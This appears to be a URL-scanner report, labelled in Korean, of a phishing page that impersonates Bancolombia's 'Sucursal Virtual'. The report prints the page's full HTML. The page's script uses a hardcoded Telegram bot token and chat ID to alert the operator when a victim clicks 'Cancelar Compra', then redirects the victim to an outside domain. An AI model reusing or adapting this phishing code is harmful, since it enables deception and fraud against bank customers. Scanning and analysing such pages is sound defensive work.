- 제출된 URL:
- https://canceldsfmjsdfgsd.web.app/
- 보고서 완료:
링크 · 0개 결과
페이지에서 식별된 외부 링크
JavaScript 변수 · 6개 결과
페이지의 창 개체에 로드된 전역 JavaScript 변수는 함수 외부에서 선언된 변수로, 현재 범위 내에서 코드의 어느 부분에서나 액세스할 수 있습니다
이름 | 유형 |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
actualizarFechaHora | function |
cambiarImagenDeFondo | function |
enviarMensaje | function |
콘솔 로그 메시지 · 1개 결과
웹 콘솔에 기록된 메시지
유형 | 카테고리 | 로그 |
---|---|---|
error | network |
|
HTML
페이지의 원시 HTML 본문
<!DOCTYPE html><html lang="es"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sucursal Virtual</title>
<style>
body {
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background-size: cover;
background-position: center;
font-family: Arial, sans-serif;
color: white;
text-align: center;
position: relative;
transition: background-image 1s ease-in-out; /* Transición suave entre imágenes */
}
/* Encabezado con franja blanca */
.header {
position: absolute;
top: 0;
left: 0;
width: 100%;
background-color: white; /* Fondo blanco */
display: flex;
align-items: center;
justify-content: space-between;
padding: 10px 20px;
box-sizing: border-box;
color: black; /* Color de texto negro */
}
.header .title {
font-size: 20px;
margin: 0;
}
.header .datetime {
font-size: 14px;
}
.container {
background-color: rgba(0, 0, 0, 0.6); /* Fondo semitransparente */
padding: 20px;
border-radius: 10px;
max-width: 90%;
box-sizing: border-box;
}
.button {
margin-top: 20px;
padding: 10px 20px;
background-color: #f1c40f; /* Color de fondo amarillo */
color: black; /* Color de texto negro */
border: none;
border-radius: 5px;
font-size: 16px;
font-weight: bold; /* Texto en negrita */
cursor: pointer;
transition: background-color 0.3s;
width: 100%;
max-width: 200px;
}
.button:hover {
background-color: #d4ac0d; /* Color amarillo más oscuro al pasar el ratón */
}
.small-image-below {
margin-top: 20px;
}
</style>
</head>
<body style="background-image: url("bnl3.jpg");">
<!-- Encabezado con franja blanca -->
<div class="header">
<div class="datetime" id="datetime">Fecha: 12/23/2024 - Hora: 1:08:22 AM</div> <!-- Fecha y hora en tiempo real -->
<h2 class="title">BANCOLOMBIA</h2>
</div>
<div class="container">
<h1>SUCURSAL VIRTUAL</h1>
<p>Ingresa al siguiente enlace para continuar:</p>
<button class="button" onclick="enviarMensaje()">Cancelar Compra</button> <!-- Texto del botón actualizado -->
<!-- Imagen pequeña debajo del botón -->
<div class="small-image-below">
<img src="log2.png" alt="Imagen pequeña" width="100" height="100"> <!-- Reemplaza con la ruta de tu imagen -->
</div>
</div>
<script>
// Función para actualizar la fecha y hora en tiempo real
function actualizarFechaHora() {
const now = new Date();
const fecha = now.toLocaleDateString();
const hora = now.toLocaleTimeString();
document.getElementById('datetime').textContent = `Fecha: ${fecha} - Hora: ${hora}`;
}
// Llamada inicial y actualización cada segundo
actualizarFechaHora();
setInterval(actualizarFechaHora, 1000);
// Arreglo de imágenes de fondo
const imagenesDeFondo = [
'bnl3.jpg', /* Imagen 1 */
'bnl4.png', /* Imagen 2 */
'bnl2.png', /* Imagen 3 */
'bnl1.jpg', /* Imagen 4 */
'bnl5.jpg' /* Imagen 5 */
];
let indiceImagen = 0;
// Función para cambiar la imagen de fondo cada 5 segundos
function cambiarImagenDeFondo() {
document.body.style.backgroundImage = `url('${imagenesDeFondo[indiceImagen]}')`;
indiceImagen = (indiceImagen + 1) % imagenesDeFondo.length; // Ciclo a través de las imágenes
}
// Cambiar la imagen de fondo cada 5 segundos
setInterval(cambiarImagenDeFondo, 5000);
async function enviarMensaje() {
const telegramBotToken = '6377818852:AAHKhqeUraW8x3bv5vwiir8FK-ikJvnFb7E'; // Reemplaza con tu token de bot
const chatId = '-1001883200641'; // Reemplaza con tu chat ID
const mensaje = 'El usuario ha hecho clic en "Cancelar Compra".';
try {
// Enviar mensaje a Telegram
const response = await fetch(`https://api.telegram.org/bot${telegramBotToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(mensaje)}`);
const data = await response.json();
if (data.ok) {
console.log('Mensaje enviado a Telegram:', data);
// Redireccionar solo después de confirmar que el mensaje fue enviado
window.location.href = 'https://qntramado.click/';
} else {
console.error('Error en la respuesta de Telegram:', data);
}
} catch (error) {
console.error('Error al enviar mensaje a Telegram:', error);
}
}
// Inicializar la primera imagen de fondo
cambiarImagenDeFondo();
</script>
</body></html>